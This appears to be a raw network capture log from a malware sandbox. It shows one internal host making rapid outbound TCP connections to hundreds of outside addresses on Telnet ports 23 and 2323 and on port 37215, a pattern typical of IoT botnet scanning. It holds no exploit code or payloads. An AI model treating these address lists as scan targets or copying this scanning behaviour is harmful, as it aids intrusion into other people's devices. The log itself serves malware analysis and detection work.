Oct 8, 2024 20:34:48.194885969 CEST	48168	23	192.168.2.14	117.5.12.128
Oct 8, 2024 20:34:48.194889069 CEST	2323	48168	60.72.164.170	192.168.2.14
Oct 8, 2024 20:34:48.194890022 CEST	48168	23	192.168.2.14	159.200.31.111
Oct 8, 2024 20:34:48.194902897 CEST	23	48168	37.111.46.95	192.168.2.14
Oct 8, 2024 20:34:48.194905043 CEST	48168	23	192.168.2.14	222.103.131.27
Oct 8, 2024 20:34:48.194916964 CEST	23	48168	133.167.116.13	192.168.2.14
Oct 8, 2024 20:34:48.194926977 CEST	48168	2323	192.168.2.14	60.72.164.170
Oct 8, 2024 20:34:48.194931984 CEST	23	48168	164.208.193.129	192.168.2.14
Oct 8, 2024 20:34:48.194947958 CEST	23	48168	196.250.82.7	192.168.2.14
Oct 8, 2024 20:34:48.194947004 CEST	48168	23	192.168.2.14	37.111.46.95
Oct 8, 2024 20:34:48.194962025 CEST	23	48168	47.160.171.213	192.168.2.14
Oct 8, 2024 20:34:48.194964886 CEST	48168	23	192.168.2.14	133.167.116.13
Oct 8, 2024 20:34:48.194977999 CEST	23	48168	173.51.92.47	192.168.2.14
Oct 8, 2024 20:34:48.194982052 CEST	48168	23	192.168.2.14	164.208.193.129
Oct 8, 2024 20:34:48.194984913 CEST	48168	23	192.168.2.14	196.250.82.7
Oct 8, 2024 20:34:48.194993973 CEST	23	48168	207.222.8.103	192.168.2.14
Oct 8, 2024 20:34:48.195008039 CEST	23	48168	90.9.175.67	192.168.2.14
Oct 8, 2024 20:34:48.195018053 CEST	48168	23	192.168.2.14	173.51.92.47
Oct 8, 2024 20:34:48.195022106 CEST	23	48168	193.105.212.105	192.168.2.14
Oct 8, 2024 20:34:48.195022106 CEST	48168	23	192.168.2.14	47.160.171.213
Oct 8, 2024 20:34:48.195029974 CEST	48168	23	192.168.2.14	207.222.8.103
Oct 8, 2024 20:34:48.195036888 CEST	2323	48168	173.167.253.163	192.168.2.14
Oct 8, 2024 20:34:48.195044041 CEST	48168	23	192.168.2.14	90.9.175.67
Oct 8, 2024 20:34:48.195056915 CEST	48168	23	192.168.2.14	193.105.212.105
Oct 8, 2024 20:34:48.195070028 CEST	48168	2323	192.168.2.14	173.167.253.163
Oct 8, 2024 20:34:48.351682901 CEST	48836	37215	192.168.2.14	41.176.3.251
Oct 8, 2024 20:34:48.351690054 CEST	57086	23	192.168.2.14	194.137.125.22
Oct 8, 2024 20:34:48.351696968 CEST	59068	23	192.168.2.14	144.12.160.27
Oct 8, 2024 20:34:48.351700068 CEST	39706	37215	192.168.2.14	156.97.3.108
Oct 8, 2024 20:34:48.351700068 CEST	35676	37215	192.168.2.14	41.147.107.132
Oct 8, 2024 20:34:48.351700068 CEST	56002	23	192.168.2.14	98.240.67.209
Oct 8, 2024 20:34:48.351722002 CEST	39942	37215	192.168.2.14	41.119.100.224
Oct 8, 2024 20:34:48.351730108 CEST	49784	37215	192.168.2.14	197.90.154.72
Oct 8, 2024 20:34:48.351728916 CEST	49298	37215	192.168.2.14	41.90.124.245
Oct 8, 2024 20:34:48.351731062 CEST	51720	37215	192.168.2.14	156.9.1.62
Oct 8, 2024 20:34:48.351731062 CEST	52770	37215	192.168.2.14	156.74.174.9
Oct 8, 2024 20:34:48.351737022 CEST	59192	37215	192.168.2.14	156.215.146.232
Oct 8, 2024 20:34:48.351737022 CEST	56276	37215	192.168.2.14	156.24.184.74
Oct 8, 2024 20:34:48.351737022 CEST	59542	37215	192.168.2.14	41.185.187.78
Oct 8, 2024 20:34:48.351749897 CEST	60186	37215	192.168.2.14	156.15.115.61
Oct 8, 2024 20:34:48.351756096 CEST	56142	37215	192.168.2.14	156.144.221.185
Oct 8, 2024 20:34:48.351756096 CEST	55122	37215	192.168.2.14	156.211.13.119
Oct 8, 2024 20:34:48.351758003 CEST	33708	37215	192.168.2.14	41.240.112.173
Oct 8, 2024 20:34:48.351758003 CEST	45784	37215	192.168.2.14	197.236.37.193
Oct 8, 2024 20:34:48.351766109 CEST	41794	23	192.168.2.14	120.172.22.83
Oct 8, 2024 20:34:48.351766109 CEST	56252	23	192.168.2.14	98.113.130.124
Oct 8, 2024 20:34:48.351775885 CEST	55140	37215	192.168.2.14	156.161.166.180
Oct 8, 2024 20:34:48.351780891 CEST	60776	37215	192.168.2.14	41.60.137.219
Oct 8, 2024 20:34:48.351783037 CEST	55862	37215	192.168.2.14	197.193.4.205
Oct 8, 2024 20:34:48.351783037 CEST	39992	37215	192.168.2.14	156.135.60.48
Oct 8, 2024 20:34:48.356642008 CEST	23	59068	144.12.160.27	192.168.2.14
Oct 8, 2024 20:34:48.356661081 CEST	37215	48836	41.176.3.251	192.168.2.14
Oct 8, 2024 20:34:48.356677055 CEST	23	57086	194.137.125.22	192.168.2.14
Oct 8, 2024 20:34:48.356733084 CEST	59068	23	192.168.2.14	144.12.160.27
Oct 8, 2024 20:34:48.356739044 CEST	57086	23	192.168.2.14	194.137.125.22
Oct 8, 2024 20:34:48.356739044 CEST	37215	39706	156.97.3.108	192.168.2.14
Oct 8, 2024 20:34:48.356741905 CEST	48836	37215	192.168.2.14	41.176.3.251
Oct 8, 2024 20:34:48.356790066 CEST	39706	37215	192.168.2.14	156.97.3.108
Oct 8, 2024 20:34:48.356829882 CEST	37215	35676	41.147.107.132	192.168.2.14
Oct 8, 2024 20:34:48.356848001 CEST	23	56002	98.240.67.209	192.168.2.14
Oct 8, 2024 20:34:48.356861115 CEST	37215	49784	197.90.154.72	192.168.2.14
Oct 8, 2024 20:34:48.356878042 CEST	48169	37215	192.168.2.14	41.94.66.201
Oct 8, 2024 20:34:48.356878996 CEST	35676	37215	192.168.2.14	41.147.107.132
Oct 8, 2024 20:34:48.356878996 CEST	56002	23	192.168.2.14	98.240.67.209
Oct 8, 2024 20:34:48.356890917 CEST	49784	37215	192.168.2.14	197.90.154.72
Oct 8, 2024 20:34:48.356904030 CEST	37215	39942	41.119.100.224	192.168.2.14
Oct 8, 2024 20:34:48.356904984 CEST	48169	37215	192.168.2.14	197.252.126.131
Oct 8, 2024 20:34:48.356910944 CEST	48169	37215	192.168.2.14	197.246.163.197
Oct 8, 2024 20:34:48.356910944 CEST	48169	37215	192.168.2.14	41.210.15.90
Oct 8, 2024 20:34:48.356920958 CEST	37215	59192	156.215.146.232	192.168.2.14
Oct 8, 2024 20:34:48.356924057 CEST	48169	37215	192.168.2.14	197.143.1.208
Oct 8, 2024 20:34:48.356935978 CEST	37215	56276	156.24.184.74	192.168.2.14
Oct 8, 2024 20:34:48.356940031 CEST	39942	37215	192.168.2.14	41.119.100.224
Oct 8, 2024 20:34:48.356945992 CEST	48169	37215	192.168.2.14	41.98.237.93
Oct 8, 2024 20:34:48.356945992 CEST	48169	37215	192.168.2.14	156.112.118.182
Oct 8, 2024 20:34:48.356950045 CEST	48169	37215	192.168.2.14	41.215.73.163
Oct 8, 2024 20:34:48.356950998 CEST	37215	59542	41.185.187.78	192.168.2.14
Oct 8, 2024 20:34:48.356954098 CEST	48169	37215	192.168.2.14	197.17.101.229
Oct 8, 2024 20:34:48.356954098 CEST	59192	37215	192.168.2.14	156.215.146.232
Oct 8, 2024 20:34:48.356965065 CEST	37215	49298	41.90.124.245	192.168.2.14
Oct 8, 2024 20:34:48.356980085 CEST	37215	60186	156.15.115.61	192.168.2.14
Oct 8, 2024 20:34:48.356987953 CEST	48169	37215	192.168.2.14	41.96.52.236
Oct 8, 2024 20:34:48.356995106 CEST	49298	37215	192.168.2.14	41.90.124.245
Oct 8, 2024 20:34:48.356996059 CEST	37215	51720	156.9.1.62	192.168.2.14
Oct 8, 2024 20:34:48.357009888 CEST	37215	52770	156.74.174.9	192.168.2.14
Oct 8, 2024 20:34:48.357013941 CEST	48169	37215	192.168.2.14	156.212.121.164
Oct 8, 2024 20:34:48.357013941 CEST	48169	37215	192.168.2.14	41.109.30.132
Oct 8, 2024 20:34:48.357013941 CEST	60186	37215	192.168.2.14	156.15.115.61
Oct 8, 2024 20:34:48.357017040 CEST	48169	37215	192.168.2.14	41.25.158.197
Oct 8, 2024 20:34:48.357023954 CEST	37215	56142	156.144.221.185	192.168.2.14
Oct 8, 2024 20:34:48.357028008 CEST	56276	37215	192.168.2.14	156.24.184.74
Oct 8, 2024 20:34:48.357028008 CEST	59542	37215	192.168.2.14	41.185.187.78
Oct 8, 2024 20:34:48.357028008 CEST	48169	37215	192.168.2.14	156.104.56.68
Oct 8, 2024 20:34:48.357032061 CEST	48169	37215	192.168.2.14	156.191.72.167
Oct 8, 2024 20:34:48.357038975 CEST	37215	55122	156.211.13.119	192.168.2.14
Oct 8, 2024 20:34:48.357043982 CEST	51720	37215	192.168.2.14	156.9.1.62
Oct 8, 2024 20:34:48.357043982 CEST	48169	37215	192.168.2.14	197.145.11.70
Oct 8, 2024 20:34:48.357059956 CEST	52770	37215	192.168.2.14	156.74.174.9
Oct 8, 2024 20:34:48.357070923 CEST	56142	37215	192.168.2.14	156.144.221.185
Oct 8, 2024 20:34:48.357070923 CEST	55122	37215	192.168.2.14	156.211.13.119
Oct 8, 2024 20:34:48.357079029 CEST	48169	37215	192.168.2.14	156.110.72.126
Oct 8, 2024 20:34:48.357094049 CEST	48169	37215	192.168.2.14	197.52.138.99
Oct 8, 2024 20:34:48.357100010 CEST	48169	37215	192.168.2.14	156.212.198.104
Oct 8, 2024 20:34:48.357111931 CEST	48169	37215	192.168.2.14	156.151.181.223
Oct 8, 2024 20:34:48.357120991 CEST	48169	37215	192.168.2.14	197.39.237.115
Oct 8, 2024 20:34:48.357132912 CEST	48169	37215	192.168.2.14	41.143.118.32
Oct 8, 2024 20:34:48.357136965 CEST	48169	37215	192.168.2.14	156.35.122.34
Oct 8, 2024 20:34:48.357139111 CEST	48169	37215	192.168.2.14	41.15.84.16
Oct 8, 2024 20:34:48.357139111 CEST	48169	37215	192.168.2.14	41.85.199.209
Oct 8, 2024 20:34:48.357139111 CEST	48169	37215	192.168.2.14	41.99.91.253
Oct 8, 2024 20:34:48.357151031 CEST	48169	37215	192.168.2.14	41.229.107.33
Oct 8, 2024 20:34:48.357151031 CEST	48169	37215	192.168.2.14	156.108.171.210
Oct 8, 2024 20:34:48.357151985 CEST	48169	37215	192.168.2.14	197.100.98.130
Oct 8, 2024 20:34:48.357151985 CEST	48169	37215	192.168.2.14	41.60.70.208
Oct 8, 2024 20:34:48.357151985 CEST	48169	37215	192.168.2.14	197.163.121.178
Oct 8, 2024 20:34:48.357152939 CEST	48169	37215	192.168.2.14	41.120.121.210
Oct 8, 2024 20:34:48.357161999 CEST	48169	37215	192.168.2.14	197.62.123.176
Oct 8, 2024 20:34:48.357162952 CEST	48169	37215	192.168.2.14	41.251.3.42
Oct 8, 2024 20:34:48.357176065 CEST	48169	37215	192.168.2.14	41.103.154.63
Oct 8, 2024 20:34:48.357188940 CEST	48169	37215	192.168.2.14	156.247.184.50
Oct 8, 2024 20:34:48.357201099 CEST	48169	37215	192.168.2.14	156.28.211.223
Oct 8, 2024 20:34:48.357203960 CEST	48169	37215	192.168.2.14	156.195.91.71
Oct 8, 2024 20:34:48.357215881 CEST	48169	37215	192.168.2.14	41.3.114.154
Oct 8, 2024 20:34:48.357218981 CEST	48169	37215	192.168.2.14	41.130.114.159
Oct 8, 2024 20:34:48.357232094 CEST	48169	37215	192.168.2.14	156.1.43.203
Oct 8, 2024 20:34:48.357237101 CEST	48169	37215	192.168.2.14	41.107.98.178
Oct 8, 2024 20:34:48.357242107 CEST	48169	37215	192.168.2.14	41.84.139.214
Oct 8, 2024 20:34:48.357251883 CEST	48169	37215	192.168.2.14	156.164.95.90
Oct 8, 2024 20:34:48.357253075 CEST	48169	37215	192.168.2.14	156.210.245.46
Oct 8, 2024 20:34:48.357256889 CEST	48169	37215	192.168.2.14	41.47.194.45
Oct 8, 2024 20:34:48.357259989 CEST	48169	37215	192.168.2.14	41.189.167.229
Oct 8, 2024 20:34:48.357259989 CEST	48169	37215	192.168.2.14	41.249.223.244
Oct 8, 2024 20:34:48.357264042 CEST	48169	37215	192.168.2.14	41.234.102.99
Oct 8, 2024 20:34:48.357270956 CEST	48169	37215	192.168.2.14	41.138.45.242
Oct 8, 2024 20:34:48.357274055 CEST	48169	37215	192.168.2.14	197.25.20.91
Oct 8, 2024 20:34:48.357274055 CEST	48169	37215	192.168.2.14	41.239.241.245
Oct 8, 2024 20:34:48.357285023 CEST	48169	37215	192.168.2.14	156.155.132.70
Oct 8, 2024 20:34:48.357289076 CEST	48169	37215	192.168.2.14	41.115.254.248
Oct 8, 2024 20:34:48.357295036 CEST	48169	37215	192.168.2.14	41.158.176.203
Oct 8, 2024 20:34:48.357307911 CEST	48169	37215	192.168.2.14	197.136.8.142
Oct 8, 2024 20:34:48.357307911 CEST	48169	37215	192.168.2.14	41.214.90.182
Oct 8, 2024 20:34:48.357309103 CEST	48169	37215	192.168.2.14	41.85.151.110
Oct 8, 2024 20:34:48.357316017 CEST	48169	37215	192.168.2.14	41.121.41.238
Oct 8, 2024 20:34:48.357326984 CEST	48169	37215	192.168.2.14	197.59.90.244
Oct 8, 2024 20:34:48.357326984 CEST	48169	37215	192.168.2.14	41.191.234.207
Oct 8, 2024 20:34:48.357345104 CEST	48169	37215	192.168.2.14	41.94.219.191
Oct 8, 2024 20:34:48.357347012 CEST	48169	37215	192.168.2.14	197.53.54.120
Oct 8, 2024 20:34:48.357350111 CEST	48169	37215	192.168.2.14	41.194.131.75
Oct 8, 2024 20:34:48.357350111 CEST	48169	37215	192.168.2.14	197.168.243.12
Oct 8, 2024 20:34:48.357367992 CEST	48169	37215	192.168.2.14	41.234.164.124
Oct 8, 2024 20:34:48.357379913 CEST	48169	37215	192.168.2.14	197.150.190.254
Oct 8, 2024 20:34:48.357381105 CEST	48169	37215	192.168.2.14	41.39.68.105
Oct 8, 2024 20:34:48.357383013 CEST	48169	37215	192.168.2.14	41.193.112.98
Oct 8, 2024 20:34:48.357383966 CEST	48169	37215	192.168.2.14	156.97.15.212
Oct 8, 2024 20:34:48.357383013 CEST	48169	37215	192.168.2.14	156.175.56.124
Oct 8, 2024 20:34:48.357383013 CEST	48169	37215	192.168.2.14	197.40.207.231
Oct 8, 2024 20:34:48.357383013 CEST	48169	37215	192.168.2.14	156.12.40.27
Oct 8, 2024 20:34:48.357392073 CEST	48169	37215	192.168.2.14	156.71.176.249
Oct 8, 2024 20:34:48.357399940 CEST	48169	37215	192.168.2.14	156.114.65.153
Oct 8, 2024 20:34:48.357414961 CEST	48169	37215	192.168.2.14	41.254.235.237
Oct 8, 2024 20:34:48.357414961 CEST	48169	37215	192.168.2.14	156.7.97.32
Oct 8, 2024 20:34:48.357419968 CEST	48169	37215	192.168.2.14	197.17.35.212
Oct 8, 2024 20:34:48.357434034 CEST	48169	37215	192.168.2.14	156.85.160.75
Oct 8, 2024 20:34:48.357434034 CEST	48169	37215	192.168.2.14	156.53.253.161
Oct 8, 2024 20:34:48.357435942 CEST	48169	37215	192.168.2.14	197.66.222.17
Oct 8, 2024 20:34:48.357450008 CEST	48169	37215	192.168.2.14	197.161.75.136
Oct 8, 2024 20:34:48.357450008 CEST	48169	37215	192.168.2.14	41.227.135.106
Oct 8, 2024 20:34:48.357460022 CEST	48169	37215	192.168.2.14	197.254.175.86
Oct 8, 2024 20:34:48.357466936 CEST	48169	37215	192.168.2.14	197.132.4.114
Oct 8, 2024 20:34:48.357466936 CEST	48169	37215	192.168.2.14	197.101.206.177
Oct 8, 2024 20:34:48.357481003 CEST	48169	37215	192.168.2.14	41.29.242.28
Oct 8, 2024 20:34:48.357481956 CEST	48169	37215	192.168.2.14	41.217.149.87
Oct 8, 2024 20:34:48.357486963 CEST	48169	37215	192.168.2.14	156.72.45.47
Oct 8, 2024 20:34:48.357495070 CEST	48169	37215	192.168.2.14	41.238.80.25
Oct 8, 2024 20:34:48.357496023 CEST	48169	37215	192.168.2.14	41.121.72.255
Oct 8, 2024 20:34:48.357497931 CEST	48169	37215	192.168.2.14	197.0.252.52
Oct 8, 2024 20:34:48.357503891 CEST	48169	37215	192.168.2.14	41.206.251.173
Oct 8, 2024 20:34:48.357506990 CEST	48169	37215	192.168.2.14	41.188.177.88
Oct 8, 2024 20:34:48.357507944 CEST	48169	37215	192.168.2.14	197.202.160.150
Oct 8, 2024 20:34:48.357515097 CEST	48169	37215	192.168.2.14	197.144.107.9
Oct 8, 2024 20:34:48.357517958 CEST	48169	37215	192.168.2.14	156.186.105.192
Oct 8, 2024 20:34:48.357521057 CEST	48169	37215	192.168.2.14	41.9.111.74
Oct 8, 2024 20:34:48.357536077 CEST	48169	37215	192.168.2.14	197.51.112.82
Oct 8, 2024 20:34:48.357536077 CEST	48169	37215	192.168.2.14	41.239.242.107
Oct 8, 2024 20:34:48.357547045 CEST	48169	37215	192.168.2.14	41.246.222.221
Oct 8, 2024 20:34:48.357549906 CEST	48169	37215	192.168.2.14	41.71.107.31
Oct 8, 2024 20:34:48.357562065 CEST	48169	37215	192.168.2.14	156.220.109.155
Oct 8, 2024 20:34:48.357563972 CEST	48169	37215	192.168.2.14	197.125.216.215
Oct 8, 2024 20:34:48.357578039 CEST	48169	37215	192.168.2.14	197.214.150.77
Oct 8, 2024 20:34:48.357589006 CEST	48169	37215	192.168.2.14	41.34.157.185
Oct 8, 2024 20:34:48.357589006 CEST	48169	37215	192.168.2.14	156.220.60.126
Oct 8, 2024 20:34:48.357589006 CEST	48169	37215	192.168.2.14	197.182.121.48
Oct 8, 2024 20:34:48.357592106 CEST	48169	37215	192.168.2.14	156.247.231.7
Oct 8, 2024 20:34:48.357594967 CEST	48169	37215	192.168.2.14	41.18.117.170
Oct 8, 2024 20:34:48.357605934 CEST	48169	37215	192.168.2.14	197.69.185.87
Oct 8, 2024 20:34:48.357609034 CEST	48169	37215	192.168.2.14	197.94.202.225
Oct 8, 2024 20:34:48.357609034 CEST	48169	37215	192.168.2.14	41.214.240.211
Oct 8, 2024 20:34:48.357620001 CEST	48169	37215	192.168.2.14	156.100.9.59
Oct 8, 2024 20:34:48.357626915 CEST	48169	37215	192.168.2.14	156.90.186.195
Oct 8, 2024 20:34:48.357629061 CEST	48169	37215	192.168.2.14	156.226.2.236
Oct 8, 2024 20:34:48.357637882 CEST	48169	37215	192.168.2.14	41.253.211.3
Oct 8, 2024 20:34:48.357637882 CEST	48169	37215	192.168.2.14	41.238.91.231
Oct 8, 2024 20:34:48.357649088 CEST	48169	37215	192.168.2.14	41.123.192.253
Oct 8, 2024 20:34:48.357656956 CEST	48169	37215	192.168.2.14	156.57.206.64
Oct 8, 2024 20:34:48.357667923 CEST	48169	37215	192.168.2.14	41.37.126.247
Oct 8, 2024 20:34:48.357670069 CEST	48169	37215	192.168.2.14	41.8.116.11
Oct 8, 2024 20:34:48.357681036 CEST	48169	37215	192.168.2.14	197.179.244.134
Oct 8, 2024 20:34:48.357683897 CEST	48169	37215	192.168.2.14	197.77.206.132
Oct 8, 2024 20:34:48.357683897 CEST	48169	37215	192.168.2.14	41.208.178.196
Oct 8, 2024 20:34:48.357697964 CEST	48169	37215	192.168.2.14	197.109.222.81
Oct 8, 2024 20:34:48.357697964 CEST	48169	37215	192.168.2.14	197.216.44.219
Oct 8, 2024 20:34:48.357698917 CEST	48169	37215	192.168.2.14	197.228.0.238
Oct 8, 2024 20:34:48.357705116 CEST	48169	37215	192.168.2.14	156.10.242.177
Oct 8, 2024 20:34:48.357711077 CEST	48169	37215	192.168.2.14	197.52.53.191
Oct 8, 2024 20:34:48.357727051 CEST	48169	37215	192.168.2.14	41.127.22.25
Oct 8, 2024 20:34:48.357731104 CEST	48169	37215	192.168.2.14	41.21.130.94
Oct 8, 2024 20:34:48.357731104 CEST	48169	37215	192.168.2.14	197.28.37.16
Oct 8, 2024 20:34:48.357731104 CEST	48169	37215	192.168.2.14	156.64.209.6
Oct 8, 2024 20:34:48.357736111 CEST	48169	37215	192.168.2.14	197.105.206.208
Oct 8, 2024 20:34:48.357744932 CEST	48169	37215	192.168.2.14	41.77.211.52
Oct 8, 2024 20:34:48.357764006 CEST	48169	37215	192.168.2.14	41.107.79.146
Oct 8, 2024 20:34:48.357765913 CEST	48169	37215	192.168.2.14	156.100.167.213
Oct 8, 2024 20:34:48.357765913 CEST	48169	37215	192.168.2.14	41.250.159.23
Oct 8, 2024 20:34:48.357777119 CEST	48169	37215	192.168.2.14	197.121.46.120
Oct 8, 2024 20:34:48.357784986 CEST	48169	37215	192.168.2.14	41.13.115.248
Oct 8, 2024 20:34:48.357786894 CEST	48169	37215	192.168.2.14	197.107.101.236
Oct 8, 2024 20:34:48.357798100 CEST	48169	37215	192.168.2.14	41.226.70.138
Oct 8, 2024 20:34:48.357800007 CEST	48169	37215	192.168.2.14	156.113.221.176
Oct 8, 2024 20:34:48.357811928 CEST	48169	37215	192.168.2.14	197.218.158.82
Oct 8, 2024 20:34:48.357815027 CEST	48169	37215	192.168.2.14	41.203.4.245
Oct 8, 2024 20:34:48.357825041 CEST	48169	37215	192.168.2.14	156.124.252.164
Oct 8, 2024 20:34:48.357829094 CEST	48169	37215	192.168.2.14	156.112.77.184
Oct 8, 2024 20:34:48.357841015 CEST	48169	37215	192.168.2.14	156.236.165.104
Oct 8, 2024 20:34:48.357857943 CEST	48169	37215	192.168.2.14	41.137.135.242
Oct 8, 2024 20:34:48.357857943 CEST	48169	37215	192.168.2.14	156.113.47.252
Oct 8, 2024 20:34:48.357857943 CEST	48169	37215	192.168.2.14	41.49.109.52
Oct 8, 2024 20:34:48.357872009 CEST	48169	37215	192.168.2.14	156.75.21.158
Oct 8, 2024 20:34:48.357873917 CEST	48169	37215	192.168.2.14	41.65.24.207
Oct 8, 2024 20:34:48.357875109 CEST	48169	37215	192.168.2.14	156.17.168.16
Oct 8, 2024 20:34:48.357884884 CEST	48169	37215	192.168.2.14	41.111.25.89
Oct 8, 2024 20:34:48.357888937 CEST	48169	37215	192.168.2.14	41.199.111.158
Oct 8, 2024 20:34:48.357898951 CEST	48169	37215	192.168.2.14	41.181.144.201
Oct 8, 2024 20:34:48.357898951 CEST	48169	37215	192.168.2.14	197.199.181.122
Oct 8, 2024 20:34:48.357901096 CEST	48169	37215	192.168.2.14	41.210.86.183
Oct 8, 2024 20:34:48.357913017 CEST	48169	37215	192.168.2.14	156.169.142.237
Oct 8, 2024 20:34:48.357914925 CEST	48169	37215	192.168.2.14	156.174.244.153
Oct 8, 2024 20:34:48.357914925 CEST	48169	37215	192.168.2.14	41.8.18.199
Oct 8, 2024 20:34:48.357924938 CEST	48169	37215	192.168.2.14	197.0.232.169
Oct 8, 2024 20:34:48.357928038 CEST	48169	37215	192.168.2.14	41.96.166.222
Oct 8, 2024 20:34:48.357937098 CEST	48169	37215	192.168.2.14	41.153.77.52
Oct 8, 2024 20:34:48.357937098 CEST	48169	37215	192.168.2.14	197.36.195.64
Oct 8, 2024 20:34:48.357952118 CEST	48169	37215	192.168.2.14	41.155.103.22
Oct 8, 2024 20:34:48.357968092 CEST	48169	37215	192.168.2.14	156.33.176.152
Oct 8, 2024 20:34:48.357971907 CEST	48169	37215	192.168.2.14	197.80.151.41
Oct 8, 2024 20:34:48.357976913 CEST	48169	37215	192.168.2.14	197.177.24.117
Oct 8, 2024 20:34:48.357988119 CEST	48169	37215	192.168.2.14	197.254.218.206
Oct 8, 2024 20:34:48.357992887 CEST	48169	37215	192.168.2.14	197.87.174.130
Oct 8, 2024 20:34:48.357992887 CEST	48169	37215	192.168.2.14	41.168.249.23
Oct 8, 2024 20:34:48.358011961 CEST	48169	37215	192.168.2.14	156.162.29.120
Oct 8, 2024 20:34:48.358015060 CEST	48169	37215	192.168.2.14	156.237.136.24
Oct 8, 2024 20:34:48.358016014 CEST	48169	37215	192.168.2.14	41.45.81.20
Oct 8, 2024 20:34:48.358015060 CEST	48169	37215	192.168.2.14	41.18.45.232
Oct 8, 2024 20:34:48.358015060 CEST	48169	37215	192.168.2.14	156.226.193.146
Oct 8, 2024 20:34:48.358022928 CEST	48169	37215	192.168.2.14	41.113.192.135
Oct 8, 2024 20:34:48.358023882 CEST	48169	37215	192.168.2.14	197.150.159.90
Oct 8, 2024 20:34:48.358028889 CEST	48169	37215	192.168.2.14	41.219.170.133
Oct 8, 2024 20:34:48.358036995 CEST	48169	37215	192.168.2.14	197.80.80.204
Oct 8, 2024 20:34:48.358040094 CEST	48169	37215	192.168.2.14	41.172.179.4
Oct 8, 2024 20:34:48.358052969 CEST	48169	37215	192.168.2.14	41.148.58.240
Oct 8, 2024 20:34:48.358052969 CEST	48169	37215	192.168.2.14	197.246.41.232
Oct 8, 2024 20:34:48.358063936 CEST	48169	37215	192.168.2.14	197.146.144.95
Oct 8, 2024 20:34:48.358067989 CEST	48169	37215	192.168.2.14	41.29.46.71
Oct 8, 2024 20:34:48.358078003 CEST	48169	37215	192.168.2.14	156.146.231.113
Oct 8, 2024 20:34:48.358081102 CEST	48169	37215	192.168.2.14	156.209.128.255
Oct 8, 2024 20:34:48.358104944 CEST	48169	37215	192.168.2.14	41.154.186.122
Oct 8, 2024 20:34:48.358108044 CEST	48169	37215	192.168.2.14	41.5.112.181
Oct 8, 2024 20:34:48.358119965 CEST	48169	37215	192.168.2.14	197.146.238.211
Oct 8, 2024 20:34:48.358119965 CEST	48169	37215	192.168.2.14	156.201.24.77
Oct 8, 2024 20:34:48.358123064 CEST	48169	37215	192.168.2.14	156.171.159.53
Oct 8, 2024 20:34:48.358123064 CEST	48169	37215	192.168.2.14	156.95.173.217
Oct 8, 2024 20:34:48.358136892 CEST	48169	37215	192.168.2.14	41.121.71.19
Oct 8, 2024 20:34:48.358139992 CEST	48169	37215	192.168.2.14	156.123.247.223
Oct 8, 2024 20:34:48.358139992 CEST	48169	37215	192.168.2.14	197.16.37.136
Oct 8, 2024 20:34:48.358139992 CEST	48169	37215	192.168.2.14	197.158.15.170
Oct 8, 2024 20:34:48.358154058 CEST	48169	37215	192.168.2.14	197.44.179.244
Oct 8, 2024 20:34:48.358160973 CEST	48169	37215	192.168.2.14	41.63.226.213
Oct 8, 2024 20:34:48.358160973 CEST	48169	37215	192.168.2.14	41.82.30.58
Oct 8, 2024 20:34:48.358164072 CEST	48169	37215	192.168.2.14	156.123.100.103
Oct 8, 2024 20:34:48.358164072 CEST	48169	37215	192.168.2.14	197.97.48.85
Oct 8, 2024 20:34:48.358181953 CEST	48169	37215	192.168.2.14	41.232.118.198
Oct 8, 2024 20:34:48.358189106 CEST	48169	37215	192.168.2.14	197.27.41.244
Oct 8, 2024 20:34:48.358194113 CEST	48169	37215	192.168.2.14	156.222.184.113
Oct 8, 2024 20:34:48.358196020 CEST	48169	37215	192.168.2.14	156.161.108.128
Oct 8, 2024 20:34:48.358201027 CEST	48169	37215	192.168.2.14	156.56.46.172
Oct 8, 2024 20:34:48.358211040 CEST	48169	37215	192.168.2.14	41.236.190.246
Oct 8, 2024 20:34:48.358212948 CEST	48169	37215	192.168.2.14	41.149.202.54
Oct 8, 2024 20:34:48.358212948 CEST	48169	37215	192.168.2.14	197.160.238.118
Oct 8, 2024 20:34:48.358212948 CEST	48169	37215	192.168.2.14	197.30.232.159
Oct 8, 2024 20:34:48.358233929 CEST	48169	37215	192.168.2.14	156.66.250.46
Oct 8, 2024 20:34:48.358234882 CEST	48169	37215	192.168.2.14	197.239.128.63
Oct 8, 2024 20:34:48.358237028 CEST	48169	37215	192.168.2.14	156.58.225.216
Oct 8, 2024 20:34:48.358239889 CEST	48169	37215	192.168.2.14	156.8.56.237
Oct 8, 2024 20:34:48.358252048 CEST	48169	37215	192.168.2.14	197.187.160.168
Oct 8, 2024 20:34:48.358252048 CEST	48169	37215	192.168.2.14	197.241.197.67
Oct 8, 2024 20:34:48.358268976 CEST	48169	37215	192.168.2.14	156.68.90.112
Oct 8, 2024 20:34:48.358278036 CEST	48169	37215	192.168.2.14	156.12.205.192
Oct 8, 2024 20:34:48.358278036 CEST	48169	37215	192.168.2.14	197.246.161.244
Oct 8, 2024 20:34:48.358278990 CEST	48169	37215	192.168.2.14	197.81.90.191
Oct 8, 2024 20:34:48.358280897 CEST	48169	37215	192.168.2.14	41.72.254.83
Oct 8, 2024 20:34:48.358289957 CEST	48169	37215	192.168.2.14	156.124.225.7
Oct 8, 2024 20:34:48.358298063 CEST	48169	37215	192.168.2.14	156.252.46.22
Oct 8, 2024 20:34:48.358309984 CEST	48169	37215	192.168.2.14	197.44.1.175
Oct 8, 2024 20:34:48.358309984 CEST	48169	37215	192.168.2.14	156.85.14.77
Oct 8, 2024 20:34:48.358316898 CEST	48169	37215	192.168.2.14	41.137.171.178
Oct 8, 2024 20:34:48.358316898 CEST	48169	37215	192.168.2.14	41.204.106.175
Oct 8, 2024 20:34:48.358328104 CEST	48169	37215	192.168.2.14	156.78.76.187
Oct 8, 2024 20:34:48.358333111 CEST	48169	37215	192.168.2.14	156.85.111.123
Oct 8, 2024 20:34:48.358335972 CEST	48169	37215	192.168.2.14	41.50.148.204
Oct 8, 2024 20:34:48.358336926 CEST	48169	37215	192.168.2.14	41.119.180.139
Oct 8, 2024 20:34:48.358354092 CEST	48169	37215	192.168.2.14	197.213.122.26
Oct 8, 2024 20:34:48.358369112 CEST	48169	37215	192.168.2.14	41.138.187.198
Oct 8, 2024 20:34:48.358370066 CEST	48169	37215	192.168.2.14	197.156.51.159
Oct 8, 2024 20:34:48.358376980 CEST	48169	37215	192.168.2.14	41.26.149.39
Oct 8, 2024 20:34:48.358376980 CEST	48169	37215	192.168.2.14	197.99.67.9
Oct 8, 2024 20:34:48.358376980 CEST	48169	37215	192.168.2.14	197.148.212.85
Oct 8, 2024 20:34:48.358381033 CEST	48169	37215	192.168.2.14	41.164.47.26
